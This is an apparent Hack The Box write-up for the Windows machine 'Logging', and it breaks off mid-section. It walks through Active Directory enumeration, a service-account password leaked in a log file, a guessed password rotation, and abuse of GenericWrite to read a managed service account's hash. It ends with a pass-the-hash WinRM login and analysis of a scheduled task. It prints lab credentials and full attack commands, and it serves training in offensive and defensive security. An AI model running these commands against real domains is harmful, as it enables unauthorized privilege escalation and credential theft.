Throughout this walkthrough, every step is explained in detail — not only what commands are executed, but why they work, what assumptions are being made, and how each discovery naturally leads to the next stage of the attack. The goal is to understand the attack chain rather than simply reproduce it.

So grab your favorite beverage, fire up BloodHound, keep a second terminal ready (trust me, you’ll need it), and let’s see how a few overlooked permissions can snowball into complete control over an Active Directory environment.

After all, today’s “minor misconfiguration” has a habit of becoming tomorrow’s incident report.

About Logging

• OS: Windows
• Difficulty: Medium
• Release Date: 18 Apr, 2026

Workspace Setup

• We need a dedicated workspace to organize scans, downloaded files, credentials and notes, to ensure we remain organized throughout the engagement, so we’ll create the folder Logging, named after the HTB machine and navigate into it:

mkdir -p HTB/Logging

cd HTB/Logging

Verifying Connectivity

• Before we invest our time in enumeration, we need to confirm that the target is reachable across the network.
• A simple ICMP echo request is sufficient for this purpose:

ping -c 3 10.129.245.130

• The results indicate that the host is alive and responding to ICMP requests.
• The returned TTL value of 127 also provide an early indication that the Operating System is likely Windows.
• Windows Systems typically begin with a TTL of 128, and after crossing a single network hop, the value becomes 127 (one hop away probably because the machine is in a VM).
• With connectivity confirmed, the next logical step is identifying the services exposed by the target.

Network Enumeration

• Port scanning provides the first real insight into the target’s attack surface.
• A comprehensive scan was executed where -sC allows common enumeration scripts to gather additional information, -sV attempts service version detection, --reason explains why Nmap believes each port is in a particular state, while also exposing the TTL values and oN stores the results in a human-readable format for future reference.

sudo nmap -sCV --reason -oN logging.nmap 10.129.245.130

The scan reveals several critical services:

• Port 53 (DNS) - Indicates the host performs DNS services and is likely acting as a Domain Controller
• Port 80 (IIS) - Hosts Microsoft IIS web server
• Port 88 (Kerberos) - Strong indicator of an Active Directory Environment
• Port 389/636 (LDAP) - LDAP can be used for user and group enumeration in an Active Directory
• Port 445 (SMB) - Windows file sharing (allows share enumeration and file access)
• Port 5985 (WinRM) - Remote PowerShell Management
• Port 3268/3269 (Global Catalog LDAP) - Typical Domain Controller Services
• Kerberos and LDAP are both exposed. This strongly indicates that the target is functioning as an Active Directory Domain Controller.

The LDAP certificate reveals multiple Subject Alternative Names:

• DC01.logging.htb — Fully Qualified Domain Name (FQDN)
• logging.htb — Domain
• logging
• DC01 — Hostname

The web server running Microsoft IIS may eventually become useful, but the presence of LDAP, SMB, Kerberos and WinRM strongly suggests that the primary attack path will involve Active Directory rather than a Web Application.

SMB signing is reported as enabled and required, hence common relay attacks against SMB will not be possible.

Configuring Local Name Resolution

• Many Active Directory tools rely on DNS resolution rather than raw IP addresses.
• While it is technically possible to enumerate the domain using only the IP address, Kerberos authentication, LDAP queries, Bloodhound data collection and many other tools we’ll use expect the target hostname to resolve correctly.
• Instead of manually editing the /etc/hosts , NetExec conveniently generates the required host entries:

nxc smb 10.129.245.130 --generate-hosts-file logging_hosts

The generated file contains:

• 10.129.245.130 DC01.logging.htb logging.htb DC01

Appending these entries to the system hosts file ensures that both the domain controller and the Active Directory domain resolve correctly:

cat logging_hosts | sudo tee -a /etc/hosts

• After updating the hosts file, it is good practice to verify the contents

Web Enumeration

• The Nmap scan revealed that Microsoft IIS is listening on TCP port 80.
• Whenever a web service is exposed, it deserves investigation regardless of whether it appears related to the intended attack path.
• Navigating to the website https://logging.htb/ reveals the default IIS landing page.

• The page contains no obvious functionality, login portal or application-specific content.
• Instead, it displays the standard Microsoft IIS welcome page.
• This immediately raises an important question:

Is the web server actually part of the challenge, or is it simply a default installation?

• Rather than dismissing it immediately, further fingerprinting is performed.

Inspecting HTTP headers

• A quick request for the response headers provide additional information about the web server:

curl -I http://logging.htb/

• Although these headers confirm that IIS 10.0 and ASP.NET are installed, they do not reveal any custom applications, hidden directories or virtual hosts.
• Combined with the default IIS landing page observed earlier, there is currently little evidence that the web server represents the primary attack vector.

Many penetration testers become fixated on the first exposed web service they encounter, spending significant time fuzzing directories and testing for web vulnerabilities.

However, the remainder of the attack surface tells a different story.

The presence of Kerberos, LDAP, SMB, Global Catalog, WinRM strongly suggests that the machine is designed around Active Directory rather than web exploitation.

Instead of wasting valuable time forcing an unlikely attack path, the investigation shifts toward authenticated domain enumeration.

The ability to prioritize promising attack vectors is often what distinguishes efficient penetration testing from blind enumeration.

Starting from an Assumed Breach

• The challenge focuses on how much damage can be done once the attacker gains access to a legitimate account rather than asking us to obtain the first foothold.
• The supplied credentials are stored locally for convenience: wallace.everette:Welcome2026@

• At first glance, possessing valid credentials might suggest that remote access is immediately possible. However, Windows authentication is considerably more granular than simply “valid” or “invalid”. An account may authenticate successfully to LDAP while being denied SMB. It may access SMB while being blocked from WinRM. It may authenticate to Kerberos while lacking interactive logon rights.
• Therefore, the first objective is not obtaining a shell. Instead, it is determining exactly what permissions this account possesses across the exposed services.

Validating the Credentials

• Based on the Nmap scan, three services immediately stand out as useful authentication targets SMB, LDAP and WinRM.
• Each service is tested individually using NetExec

SMB Authentication

nxc smb DC01.logging.htb -u wallace.everette -p 'Welcome2026@'

The authentication succeeds.

This confirms several things simultaneously:

• First, the credentials are valid.
• Secondly, SMB permits this user to authenticate successfully.
• Finally, SMB enumeration becomes a viable attack path moving forward.

LDAP Authentication

nxc ldap DC01.logging.htb -u wallace.everette -p 'Welcome2026@'

• Once again the authentication succeeds.
• The result is particularly viable.
• LDAP access often enables enumeration of Domain Users, Groups, Organizational Units, Service Accounts, Descriptions, Password Policies and Group Memberships.
• Even without administrative privileges, authenticated LDAP access frequently exposes enough information to uncover additional attack paths.
• This significantly expands the amount of reconnaissance that can be performed.

WinRM Authentication

nxc winrm DC01.logging.htb -u wallace.everette -p 'Welcome2026@'

• Unlike the previous tests, authentication fails.

This failure should not be interpreted as incorrect credentials. The same username and password authenticated successfully against both SMB and LDAP.

• Instead, the result indicates that the account lacks authorization required to establish a remote management session.
• This distinction is important. Authentication and authorization are separate concepts. The credentials are unquestionably valid.
• Consequently, an interactive PowerShell session is currently unavailable.
• Rather than attempting to force WinRM access through repeated testing, the focus shift toward information gathering using the services that do accept authentication.

Interpreting the Authentication Results

• SMB → Success — Files shares can be enumerated and accessed according to assigned permissions
• LDAP → Success — Active Directory enumeration can begin immediately
• WinRM → Denied — No interactive remote shell is currently available
• Although the inability to obtain an immediate shell may initially appear disappointing, it actually helps narrow the investigation.
• Since remote command execution is unavailable, the most logical objective becomes discovering additional credentials or privilege escalation opportunities through authenticated enumeration.
• Fortunately, Windows environments frequently expose sensitive information through shared folders.
• The next phase therefore focuses on identifying every SMB share accessible to the compromised user account.
• If configuration files, scripts, backups or log files are exposed, they may reveal credentials, internal infrastructure or other information capable of advancing the attack.

SMB Enumeration and Information Disclosure

• The objective now is to enumerate every available SMB share and determine whether the compromised account has access to data that can facilitate further privilege escalation.

Enumerating accessible SMB shares

• The first step is identifying which shared folders are accessible to the compromised account.
• NetExec provides a straightforward way to enumerate SMB shares while authenticating with the supplied credentials

nxc smb DC01.logging.htb -u wallace.everette -p 'Welcome2026@' --shares

The enumeration returns several familiar administrative shares together with two particularly interesting custom shares.

• ADMIN$ - Administrative share used for remote administration
• C$ - Default administrative share exposing the system drive
• IPC$ - Inter-Process Communication share used by Windows service
• NETLOGON - Stores domain logon scripts and authentication resources
• SYSVOL - Contains Group Policy Objects and domain-wide configuration files

While these shares are expected, the Logs and WSUSTemp immediately stands out.

• Unlike the default administrative shares created by Windows, Logs appears to be application-specific. Custom shares often contain operational data such as debug output, synchronization logs, scheduled task results or deployment artifacts — all of which have the potential to expose sensitive internal information.
• Since the compromised user has read access to this share, it becomes the primary focus of the investigation.

Exploring the Logs Share

• Instead of manually browsing every directory, NetExec's spider_plus module can recursively enumerate and download accessible files:

nxc smb DC01.logging.htb -u wallace.everette -p 'Welcome2026@' -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=shares

• After the module completes, we can verify that the files were downloaded through:

ls

• Inspecting the directory structure (shares) gives us an overview of everything collected:

tree shares

• The module also produces a JSON inventory describing every downloaded file:

cat shares/10.129.245.130.json

• This confirms that four log files were downloaded from the Logs share together with the accessible Group Policy files stored in SYSVOL.
• Although Group Policy files are always worth inspecting for items such as scheduled tasks, scripts or Group Policy Preferences (GPP) passwords, nothing immediately suspicious is present. The custom log files, however, deserve closer attention.
• For completeness, the same files can also be retrieved directly using smbclient
• First, enumerate the contents of the shares:

smbclient //logging.htb/Logs -U wallace.everette%Welcome2026@ -c 'ls'

• Trying to list the contents of WSUSTemp share results in an NT_STATUS_ACCESS_DENIED error probably because we don't have sufficient permissions to access this particular share:

smbclient //logging.htb/WSUSTemp -U wallace.everette%Welcome2026@ -c 'ls'

• To download every file from the Logs share:

smbclient //logging.htb/Logs -U wallace.everette%Welcome2026@ -c 'recurse ON; prompt OFF; mget *'

Analyzing the Log Files

• The directory listing reveals several log files generated by an internal application responsible for identity synchronization:

Audit_Heartbeat.log

• This file contains only periodic health checks confirming that the service remained operational. No credentials, configuration information or error messages are exposed, making it low-value from an attacker’s perspective.

Service_State.log

• The log records normal service start and stop events. While useful for understanding when the IdentitySync service was restarted, it does not expose any immediately exploitable information.

TaskMonitor.log

• The task monitoring log is straightforward. From this we learn that a scheduled task named UpdateChecker Agent is periodically monitored. Although it is not useful yet, the task name is worth remembering because it may become relevant later during our investigation.

IdentitySync_Trace_20260219.log

Key Findings:

• SQL Backend — The service connects to HR01.logging.htb and synchronizes employee records from the loggingHR database
• LDAP Integration — The synchronization engine authenticates against Active Directory using a dedicated service account.
• Critical Finding — The application logs its LDAP connection context, exposing both the service account username and its password svc_recovery:Em3rg3ncyPa$$2025
• Logging credentials in plaintext is severe operational security issue because anyone with access to these logs can recover privileged service credentials.
• However, the subsequent LDAP error indicate that these credentials are no longer valid. This strongly suggests that the password has been changed since the application was last configured, leaving the software attempting to authenticate with an outdated password.

Testing the Leaked Credentials

• The log provides what appears to be a valid set of service account credentials. Before assuming the password is simply outdated, it is worth testing it against the Domain Controller.
• First, authenticate over SMB using the credentials from the log:

nxc smb DC01.logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2025'

• Interestingly, the authentication does not fail with STATUS_LOGON_FAILURE, which would normally indicate an incorrect username or password. Instead, the server returns STATUS_ACCOUNT_RESTRICTION.
• This response suggests that the account exists, but the authentication attempt is being blocked because of an account policy or authentication restriction rather than a simple login failure. Since SMB uses NTLM by default, one possibility is that the account is configured to disallow this authentication method.
• To verify whether the credentials themselves are valid, we can repeat the test using Kerberos authentication.
• NetExec supports Kerberos authentication using the -k flag:

nxc smb DC01.logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2025' -k

• This time the Key Distribution Center (KDC) returns KDC_ERR_PREAUTH_FAILED, which is a much stronger indicator that the supplied password is incorrect. During Kerberos pre-authentication, the client proves knowledge of the user's secret by encrypting a timestamp with a key derived from the password. If the KDC cannot successfully decrypt the timestamp, it responds with KDC_ERR_PREAUTH_FAILED, confirming that the password used to derive the key is invalid.
• This aligns perfectly with what we observed in the IdentitySync_Trace_20260219.log. The application was attempting to bind to LDAP using the password Em3rg3ncyPa$$2025, but the log itself recorded an LDAP_INVALID_CREDENTIALS error. In other words, the credentials embedded within the application logs are stale and no longer work.
• Although the leaked password cannot be used directly, it provides an important clue. Organizations often rotate passwords by making only minor changes — for example, incrementing a year, month or version number. Given the naming convention, it is reasonable to suspect that the current password may be a slight variation of Em3rg3ncyPa$$2025.
• Rather than blindly guessing password, we will focus on Active Directory itself to determine whether additional information can help us infer or recover the current credentials for the svc_recovery service account.

Active Directory Enumeration and Recovering the Current Service Account Password

• Our focus would no longer be LDAP enumeration; instead, it becomes an investigation into why the leaked credentials failed and how to recover the current password.
• Although IdentitySync logs leaked credentials for the svc_recovery service account, our authentication attempts confirmed that they were no longer valid.
• At this stage, blindly guessing a new password would be unreliable. Instead, we shift our attention to Active Directory itself. Since we already possess valid credentials for wallace.everette, LDAP becomes our primary source of information. Our objective is to determine whether the svc_recovery account has changed recently and whether any metadata can help us infer the current password.

Enumerating Domain Users

• NetExec's LDAP module allows us to enumerate all active user accounts together with the timestamp indicating when each password was last changed:

nxc ldap DC01.logging.htb -u wallace.everette -p 'Welcome2026@' --active-users

The output reveals something immediately interesting:

• svc_recovery 2026-04-17 00:09:49
• Recall that the password exposed in the application logs was Em3rg3ncyPa$$2025
• However, the service account’s Password Last Set timestamp indicates that the password was modified after the log file was generated. This perfectly explains why both LDAP and Kerberos rejected the leaked credentials.
• At this point, another clue becomes apparent. The password follows a structured naming convention: Em3rg3ncyPa$$2025
• In enterprise environments, service account passwords are often rotated by making only small modifications while retaining the overall format — for example incrementing a year. Given that the machine itself is themed around the year 2026, it is reasonable to hypothesize that the password was updated to: Em3rg3ncyPa$$2026
• Rather than immediately assuming this is correct, we continue gathering information about the account to strengthen our understanding of its role within the domain.

Enumerating the Service Account

• Instead of limiting ourselves to password timestamps, we inspect the complete Active Directory object associated with svc_recovery:

bloodyad -d logging.htb -u wallace.everette -p 'Welcome2026@' -k -H DC01.logging.htb get object svc_recovery

Several interesting attributes stand out:

• The account belongs to the Emergency Recovery group.
• It is also a member of Protected Users, meaning NTLM authentication and credential delegation protections are enforced.
• The password is configured to never expire (DONT_EXPIRE_PASSWORD)
• The membership in Protected Users also sheds light on the authentication behavior we observed earlier. While the incorrect password ultimately caused the Kerberos pre-authentication failure, this privileged group enforces stricter authentication policies that make Kerberos the expected authentication mechanism for the account.
• At this point, we have enough confidence to test our hypothesis regarding the updated password.

Validating Service Account Credentials

• Before relying on the recovered service account, the credentials must be verified.
• The first authentication attempt is made using SMB:

nxc smb DC01.logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k

• The authentication unexpectedly fails. At first glance, this might suggest that the password is incorrect. However, another possibility exists evidenced by the KRB_AP_ERR_SKEW error. Kerberos authentication is extremely sensitive to time synchronization. Even small clock differences between the attacking machine and the Domain Controller can cause authentication failures.
• The local system clock is synchronized with the target:

sudo ntpdate 10.129.245.130

• After correcting the time skew, the authentication is repeated:

nxc smb DC01.logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k

• This time, authentication succeeds.
• This serves as an important reminder that Kerberos-related failures should always prompt verification of system time before concluding that the credentials are invalid.
• The credentials are subsequently tested against the remaining services (LDAP & WinRM):

nxc ldap DC01.logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k

• Successful Authentication.

nxc winrm DC01.logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026'

• Authentication Denied!
• Once again, the lack of WinRM access should not be interpreted as incorrect credentials. Instead, it simply indicates that the account lacks the authorization required for remote management.
• While interactive shell access remains unavailable, authenticated LDAP enumeration becomes even more valuable.

Enumerating Privileged Groups

• With a better understanding of the recovered account, attention shifts toward identifying the domain’s privileged users.
• Knowing which accounts belong to administrative groups helps prioritize future attack paths and provides valuable context when analyzing ACLs and delegation rights.
• The local Administrators group is queried first:

nxc ldap DC01.logging.htb -u wallace.everette -p 'Welcome2026@' --groups "Administrators"

The results reveal:

• Administrator
• Enterprise Admins
• Domain Admins
• toby.brynleigh
• Although nested groups such as Enterprise Admins and Domain Admins are expected members of the local Administrators group, one user account immediately stands out: toby.brynleigh
• Unlike the built-in Administrator account, this appears to be a standard user with administrative privileges.
• Any future compromise of this account would almost certainly lead to complete domain compromise.
• To confirm its level of privilege, the Domain Admins group is enumerated directly:

nxc ldap DC01.logging.htb -u wallace.everette -p 'Welcome2026@' --groups "Domain Admins"

• The output confirms that the group contains only Administrator and toby.brynleigh
• This establishes toby.brynleigh as one of the highest-value targets within the domain.

Enumerating Additional Security Groups

• Beyond the well-known administrative groups, custom organizational groups can also reveal useful information about the environment.
• Enumerating every group provides a broader understanding of the organization’s structure:

nxc ldap DC01.logging.htb -u wallace.everette -p 'Welcome2026@' --groups

Several interesting groups emerge during enumeration.

Protected Users

nxc ldap DC01.logging.htb -u wallace.everette -p 'Welcome2026@' --groups "Protected Users"

• Members: Administrator and svc_recovery
• The inclusion of the recovered service account confirms the information previously obtained through BloodyAD.

IT

nxc ldap DC01.logging.htb -u wallace.everette -p 'Welcome2026@' --groups "IT"

• Member: jaylee.clifton
• Although not immediately useful, departmental groups often become relevant later when analyzing delegated permissions or access control lists.

HR

nxc ldap DC01.logging.htb -u wallace.everette -p 'Welcome2026@' --groups "HR"

• Member: wellington.kylan
• Like the IT group, this provides additional context regarding the domain’s organizational structure.

Visualizing the Domain with BloodHound

• While command-line enumeration provides valuable information, understanding relationships between users, groups, computers, and delegated permissions becomes increasingly difficult as environments grow.
• Tools such as BloodHound simplify this process by collecting Active Directory objects and presenting them as an interactive graph. From a single interface, it becomes possible to visualize group memberships, delegated rights, ACLs, and potential privilege escalation paths that may be difficult to identify manually.
• In this environment, the same user, group, and membership information retrieved through NetExec and BloodyAD can also be observed within BloodHound. As the assessment progresses, BloodHound will become invaluable for identifying the relationships that ultimately lead to domain compromise.

Mapping Active Directory Relationships with Bloodhound and Abusing GMSA Permissions

• Up to this point, the engagement has focused primarily on gathering information and validating credentials. The original user account led to the discovery of a privileged service account, and subsequent LDAP enumeration provided valuable insight into the domain’s structure. However, the critical question remains:

How can the recovered service account be leveraged to obtain additional privileges?

• Answering this question manually by inspecting Access Control Lists (ACLs), delegated permissions, and object relationships across Active Directory would be extremely time-consuming. While tools such as NetExec and BloodyAD excel at targeted enumeration, they are less effective at visualizing complex privilege relationships across an entire domain.
• This is where BloodHound becomes indispensable.
• BloodHound models Active Directory as a graph database, allowing attackers to identify privilege escalation paths that would otherwise be difficult to recognize through raw LDAP output alone. By collecting objects and relationships from the domain, BloodHound transforms thousands of directory entries into an interactive graph that highlights relationships between users, groups, computers, and service accounts.
• Rather than blindly testing every permission, BloodHound enables us to focus on relationships that can be directly abused.

Collecting Active Directory Data

• RustHound-CE is used for this purpose:

rusthound-ce -d logging.htb -u wallace.everette -p 'Welcome2026@' -z

• RustHound-CE performs authenticated LDAP enumeration and gathers information about: Domain Users, Groups, Organizational Units, Computers, Group Memberships, ACLs, Delegated Permissions, Group Managed Service Accounts (GMSAs)
• Rather than generating JSON files individually, the -z option automatically compresses the collected data into a ZIP archive compatible with BloodHound.

Importing Data into BloodHound

• With the collection complete, BloodHound is launched (I’m using the Docker-Compose version).

Once the BloodHound interface is available:

• Authenticate to the BloodHound database.
• Navigate to Quick Upload or if it is the first time launching BloodHound, clicking Explore offers an interface to upload the zip file.
• Select the ZIP archive generated by RustHound-CE.
• Wait for the ingestion process to complete.
• Once imported, BloodHound populates the graph with every collected Active Directory object and the relationships that connect them.

Investigating the Initial User

• The first account examined is the originally compromised user: wallace.everette
• BloodHound provides several tabs describing the account’s relationships within the domain.

The most relevant include:

• Member Of — which groups the user belongs to.
• Outbound Object Control — Which objects this user can control or modify.
• Inbound Object Control — Which principals can control this user.

Member Of

• The Member Of tab confirms that wallace.everette is an ordinary domain user with no membership in privileged administrative groups.
• Nothing immediately suggests elevated privileges or delegated administrative rights.

Outbound Object Control

• The next step is reviewing the objects that this account can control. BloodHound reports no meaningful delegated permissions.

Inbound Object Control

• Finally, the inbound relationships are examined to determine whether another object possesses administrative control over wallace.everette.
• Again, nothing unusual is identified. Overall, the original compromised account possesses only the permissions expected of a standard domain user.

Investigating the Service Account

Member Of

• Confirms information previously obtained through LDAP enumeration. The account belongs to the Protected Users group.
• While this group provides additional security protections against several credential theft techniques, it does not itself grant administrative privileges.
• The group membership therefore does not immediately explain how the account can be abused.

Outbound Object Control

• Unlike the original user account, svc_recovery possesses delegated permissions over another Active Directory object.
• BloodHound reveals the following relationship: svc_recovery → Generic Write → MSA_HEALTH$
• This immediately becomes the most promising attack path discovered so far.

Understanding the Generic Write

The GenericWrite permission grants an account the ability to modify writable attributes of another Active Directory object.

Although GenericWrite does not automatically provide full administrative control, it frequently enables privilege escalation depending on the object being modified.

In this case, the target object is particularly interesting, MSA_HEALTH$. Rather than representing a normal user, this is a Group Managed Service Account (GMSA).

What is a Group Managed Service Account?

Group Managed Service Accounts were introduced by Microsoft to eliminate one of the most common administrative challenges: Managing passwords for service accounts.

Unlike traditional service accounts whose passwords must be manually maintained, a GMSA automatically rotates its own password.

Only explicitly authorized principals may retrieve the current password.

This significantly improves operational security by:

- Automatically rotating long and complex passwords.

- Preventing administrators from manually storing credentials.

- Limiting which systems or accounts can retrieve the password.

However, these protections depend entirely on the list of principals permitted to read the managed password. If an attacker can modify that access list, the protection disappears.

Inspecting the Managed Service Account

• Selecting MSA_HEALTH$ inside BloodHound reveals additional information.
• Among its memberships, one particularly useful group appears: Remote Management

• Although group membership alone is not immediately exploitable, it strongly suggests that this account possesses permissions allowing remote administration somewhere within the environment.
• Consequently, obtaining this account’s credentials becomes the primary objective.

Attempting to Read the Managed Password

• NetExec provides built-in functionality for enumerating GMSA passwords.
• Using the recovered service account, an attempt is made to retrieve the managed password:

nxc ldap DC01.logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k --gmsa

• Authentication succeeds. However, the password cannot be retrieved.
• Although the account successfully authenticates to LDAP, it lacks the necessary permission to read the managed password.
• At first glance, this appears to be a dead end. However, BloodHound has already identified the critical detail: svc_recovery possesses GenericWrite over the managed service account.
• Rather than reading the password directly, the permission can be abused to modify who is allowed to read it.

Abusing GenericWrite

• BloodyAD provides functionality for modifying the principals authorized to retrieve a GMSA password.
• Using the GenericWrite permission, svc_recovery is added to the managed service account's allowed readers:

bloodyAD -d logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -H dc01.logging.htb -k add gmsaGroup MSA_HEALTH$ svc_recovery

• The operation succeeds: [+] svc_recovery can now retrieve the password of msa_health$
• This seemingly small modification completely changes the security posture of the managed service account. Rather than attacking the password itself, the attacker has simply granted themselves permission to retrieve it.

Retrieving the Managed Password

• With the updated permissions in place, the password retrieval is attempted again:

nxc ldap DC01.logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k --gmsa

• This time, the result is dramatically different.
• The managed service account’s NTLM hash has now been successfully recovered.
• For completeness, BloodyAD can also display the full managed password blob together with the extracted NTLM hash.

bloodyAD -d logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -H dc01.logging.htb -k msldap gmsa

• The most important value is the NTLM hash: msDS-ManagedPassword.NT: 946b33cc5505890cea9a4b5605b8cbd6

• At this point, there is no need to know the plaintext password. Windows authentication mechanisms such as Pass-the-Hash allow the NTLM hash itself to be used for authentication.

Validating the Managed Service Account

• As with every newly obtained credential, the next step is validation. The recovered NTLM hash is tested against the services exposed by the target.

SMB

nxc smb DC01.logging.htb -u msa_health$ -H '946b33cc5505890cea9a4b5605b8cbd6'

• Authentication succeeds.

LDAP

nxc ldap DC01.logging.htb -u msa_health$ -H '946b33cc5505890cea9a4b5605b8cbd6'

• Authentication Succeeds.

WinRM

nxc winrm DC01.logging.htb -u msa_health$ -H '946b33cc5505890cea9a4b5605b8cbd6'

• Authentication Succeeds.

• Unlike the previously compromised accounts, the managed service account is authorized to authenticate through WinRM. This is the first account encountered during the engagement that permits remote management access, representing a significant escalation in the attack.
• The attack has now progressed from an ordinary domain user to a service account capable of authenticating across SMB, LDAP, and WinRM.
• By abusing a single GenericWrite permission, the attackers transformed a protected Group Managed Service Account into a usable foothold without ever cracking or guessing a password.

Establishing Remote Access and Investigating Scheduled Tasks

• Recovering the credentials for the msa_health$ Group Managed Service Account represents another significant milestone in the engagement. Unlike the previously compromised accounts, this account successfully authenticated against WinRM, providing the first opportunity to establish an interactive shell on the target system.
• Interactive access fundamentally changes the nature of the assessment. Until this point, all reconnaissance had been performed remotely through LDAP and SMB. With PowerShell access to the host, it becomes possible to inspect the file system, examine scheduled tasks, review locally stored scripts, and identify additional privilege escalation opportunities that are not visible through directory enumeration alone.
• Rather than immediately searching for privilege escalation exploits, the focus shifts to understanding the responsibilities of the compromised account and identifying any operational scripts or automation that may expose additional attack vectors.

Establishing a WinRM Session

• The NTLM hash recovered from the Group Managed Service Account is used to authenticate via WinRM using Pass-the-Hash authentication.

evil-winrm -i 10.129.245.130 -u msa_health$ -H 946b33cc5505890cea9a4b5605b8cbd6

• Authentication succeeds, providing an interactive PowerShell session running under the context of the managed service account.
• The next objective is to determine how this account is used by the system and whether it participates in any automated administrative workflows.

Enumerating the User’s Profile

• A logical starting point is the account’s home directory.
• Listing the contents of the Documents directory reveals a single PowerShell script:

Get-ChildItem

• The output shows the presence of a monitoring script which immediately warrants further investigation.

Inspecting the Monitoring Script

• The contents of the script are displayed using PowerShell:

Get-Content monitor.ps1

• The script contains the following description:

<#
.SYNOPSIS
    Monitors the status of the "UpdateChecker Agent" scheduled task.
    Uses COM interface to avoid CIM/WMI permission issues.
#>

$TaskName = "UpdateChecker Agent"
$LogPath = "C:\Share\Logs\TaskMonitor.log"
$Timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"

try {
    $service = New-Object -ComObject "Schedule.Service"
    $service.Connect()
    $task = $service.GetFolder("\").GetTask($TaskName)

    $State = switch ($task.State) {
        1 { "Disabled" }
        2 { "Queued" }
        3 { "Ready" }
        4 { "Running" }
        5 { "Disabled" }
        6 { "Unknown" }
        default { "Unknown" }
    }

    if ($State -ne "Ready" -and $State -ne "Running") {
        $Message = "[$Timestamp] WARN  - Task [$TaskName] is in an unexpected state: $State"
    }
    else {
        $Message = "[$Timestamp] INFO  - Task [$TaskName] health check: OK (State: $State)"
    }
}
catch {
    $Message = "[$Timestamp] ERROR - Failed to query task [$TaskName]. Exception: $($_.Exception.Message)"
}

Add-Content -Path $LogPath -Value $Message

Even before examining the implementation, the header reveals two important pieces of information:

• The script is responsible for monitoring a scheduled task named UpdateChecker Agent (Remember the TaskMonitor.log).
• It intentionally interacts with the Windows Task Scheduler through the COM interface instead of WMI or CIM, suggesting that permission limitations influenced its design.
• This immediately shifts the investigation toward the scheduled task itself.

Understanding the Script

• Rather than blindly executing the script, it is worth understanding exactly what it does.
• Several variables are initialized at the beginning:

$TaskName = "UpdateChecker Agent"
$LogPath = "C:\Share\Logs\TaskMonitor.log"
$Timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"

These variables indicate that the script:

• Monitors a task named UpdateChecker Agent.
• Records the results to: "C:\Share\Logs\TaskMonitor.log"
• The log path is particularly interesting because it suggests another location where operational information is stored.

Connecting to the Task Scheduler

• The script then creates a COM object:

$service = New-Object -ComObject "Schedule.Service"

• Instead of relying on standard PowerShell scheduled task cmdlets, the script directly interfaces with the Windows Task Scheduler service.
• After creating the object, it establishes a connection.

$service.Connect()

• Finally, it retrieves the scheduled task.

$task = $service.GetFolder("\").GetTask($TaskName)

Enumerating the Scheduled Task

The commands used inside the monitoring script are executed interactively:

• $TaskName = "UpdateChecker Agent"
• $service = New-Object -ComObject "Schedule.Service"
• $service.Connect()
• $task = $service.GetFolder("\").GetTask($TaskName)

Finally, displaying the task object exposes its complete configuration.

• $task

The resulting output contains a wealth of operational information.

Analyzing the Scheduled Task

Name               : UpdateChecker Agent
Path               : \UpdateChecker Agent
State              : 3
Enabled            : True
LastRunTime        : 7/25/2026 8:05:15 AM
LastTaskResult     : 0
NumberOfMissedRuns : 0
NextRunTime        : 7/25/2026 8:08:15 AM
Definition         : System.__ComObject
Xml                : <?xml version="1.0" encoding="UTF-16"?>
                     <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
                       <RegistrationInfo>
                         <Date>2026-04-16T16:39:34.3280175</Date>
                         <Author>logging\Administrator</Author>
                         <URI>\UpdateChecker Agent</URI>
                       </RegistrationInfo>
                       <Principals>
                         <Principal id="Author">
                           <UserId>S-1-5-21-4020823815-2796529489-1682170552-2105</UserId>
                           <LogonType>Password</LogonType>
                         </Principal>
                       </Principals>
                       <Settings>
                         <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
                         <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
                         <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
                         <IdleSettings>
                           <StopOnIdleEnd>true</StopOnIdleEnd>
                           <RestartOnIdle>false</RestartOnIdle>
                         </IdleSettings>
                       </Settings>
                       <Triggers>
                         <TimeTrigger>
                           <StartBoundary>2026-04-16T16:38:15</StartBoundary>
                           <Repetition>
                             <Interval>PT3M</Interval>
                           </Repetition>
                         </TimeTrigger>
                       </Triggers>
                       <Actions Context="Author">
                         <Exec>
                           <Command>"C:\Program Files\UpdateMonitor\UpdateMonitor.exe"</Command>
                           <Arguments>500 /scan=3 /autofix=true</Arguments>
                         </Exec>
                       </Actions>
                     </Task>

• Every three minutes the Windows Task Scheduler launches UpdateMonitor.exe with the supplied command-line arguments. The task was originally created by Administrator, suggesting that the executable runs as a highly trusted component within the environment.
• One particularly interesting field is:

<Principal id="Author">
    <UserId>S-1-5-21-4020823815-2796529489-1682170552-2105</UserId>
    <LogonType>Password</LogonType>
</Principal>

• Cross-referencing the RID (2105) with the domain's user objects reveals that the SID belongs to: jaylee.clifton.
• Although the task was authored by Administrator, it executes under the security context of jaylee.clifton. Any opportunity to influence the execution of this scheduled task could therefore result in code execution as the IT user identified earlier through BloodHound.
• This is the first point where the earlier LDAP and BloodHound enumeration begins to connect with local enumeration.
• The XML definition identifies the program executed by the task.

<Command>"C:\Program Files\UpdateMonitor\UpdateMonitor.exe"</Command>

• Rather than invoking PowerShell or a batch script, the scheduled task launches a compiled executable named: UpdateMonitor.exe located in: C:\Program Files\UpdateMonitor
• The scheduled task responsible for running UpdateMonitor.exe executes using this user’s credentials, making jaylee.clifton the next logical target in the attack chain.
• This immediately becomes another area of interest for later investigation. Any custom executable running on a frequent schedule deserves careful inspection, particularly if it executes with elevated privileges.

Why this matters

The investigation has now uncovered another critical relationship within the environment:

